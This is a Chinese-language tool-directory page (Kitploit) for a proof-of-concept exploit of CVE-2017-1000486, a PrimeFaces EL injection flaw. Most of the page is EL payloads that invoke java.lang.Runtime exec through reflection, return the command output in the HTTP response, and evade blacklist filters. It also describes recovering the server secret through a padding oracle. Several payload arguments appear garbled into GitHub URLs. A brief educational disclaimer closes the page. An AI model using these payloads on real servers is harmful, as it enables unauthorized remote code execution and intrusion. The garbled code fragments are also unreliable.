Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-1000486 — 针对CVE-2017-1000486(PrimeFaces EL注入)的多步概念验证利用,包含填充预言机秘密检索和绕过黑名单的远程代码执行载荷。 | Kitploit
工具/GitHubGitHub/pastea/cve-2017-1000486
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubpastea/cve-2017-1000486

CVE-2017-1000486

针对CVE-2017-1000486(PrimeFaces EL注入)的多步概念验证利用,包含填充预言机秘密检索和绕过黑名单的远程代码执行载荷。

查看仓库
4114年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-1000486

这是CVE-2017-1000486的一个PoC,附带一些有用的载荷,可绕过用于实现RCE的标准函数(如getClass()、exec()等)的黑名单字典检查,并通过Padding Oracle检索primefaces秘密,以便在利用时尽可能降低噪声。

感谢 @pimps、@federicodotta 和 @AonCyberLabs 在该主题上的相关工作。

描述

此PoC是一个多步骤脚本,用于分析每个应用程序和Web服务器库的上下文。

初始阶段,如果未手动提供primefaces秘密,则使用由@AonCyberLabs编写的padBuster perl脚本检索该秘密。这有助于减少后续载荷加密时向服务器发起的请求数量,从而加速整个过程。利用Padding Oracle漏洞所需的时间与载荷大小成正比,仅在第一阶段对较小的载荷使用它,能大幅提升性能。 我不想为了直接与Python集成而重写padBuster的所有代码,因此通过操作系统执行一个干净的命令来运行它。

EL载荷:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22SECRET%22%2CinitParam%5B%22primefaces.SECRET%22%5D)}

通过一个执行Header注入的EL来进行简单检查,以验证EL代码的执行。请注意,此处有两种可用方法:setResponseHeader和addResponseHeader,其他可用方法可从官方文档中获取。

EL载荷:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22PROVA%22%2C%22123456%22)}

然后,对可用的隐式变量进行一系列检查,以突出由自定义Web服务器库(如IBM WebLogic)不提供所有隐式变量而可能导致的潜在问题。此外,还尽可能具体地检索了Java运行时版本。

事实上,我观察到在Java <= 7上,调用的方法存在一些参数类型混淆。我推测这是由于EL解析器执行的变量类型赋值引起的。为了避免这种情况,脚本通过getDeclaredMethods()数组引用特定方法,这种情况下需要识别每个使用方法的正确索引。这虽然增加了载荷的大小,但提供了很强的弹性。

为了创建一个字节数组作为缓冲区,使用了一种变通方法:通过"".format("%0999d",0).getBytes()创建一个长度为999的缓冲区,或通过"0000000".getBytes()创建一个长度为7的缓冲区。

标准EL:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/main/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}

使用getDeclaredMethods()的EL:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}

改进

  • JSF中的方法可以通过 ["method"]() 引用调用,而不仅仅是通过标准Java的点符号 .method()。这有助于绕过在服务器解密与执行EL之间所做的过滤器。

  • getClass() 可以用 ["class"] 语句替代

  • facesContext.getExternalContext().getSession(true).putValue() 可以用 session.setAttribute() 替代,一般来说,任何映射都可以用作存储变量的仓库

免责声明

此工具仅用于教育目的,仅供研究使用。

您不得将此软件用于任何非法或不道德的活动,包括会导致刑事或民事责任的行为。

使用风险自负。本软件按“原样”提供,版权持有人或贡献者不提供任何明示或暗示的担保,包括但不限于适销性和特定用途适用性的暗示担保。在任何情况下,版权持有人或贡献者均不对任何直接、间接、偶然、特殊、示例性或后果性损害赔偿负责。

下载工具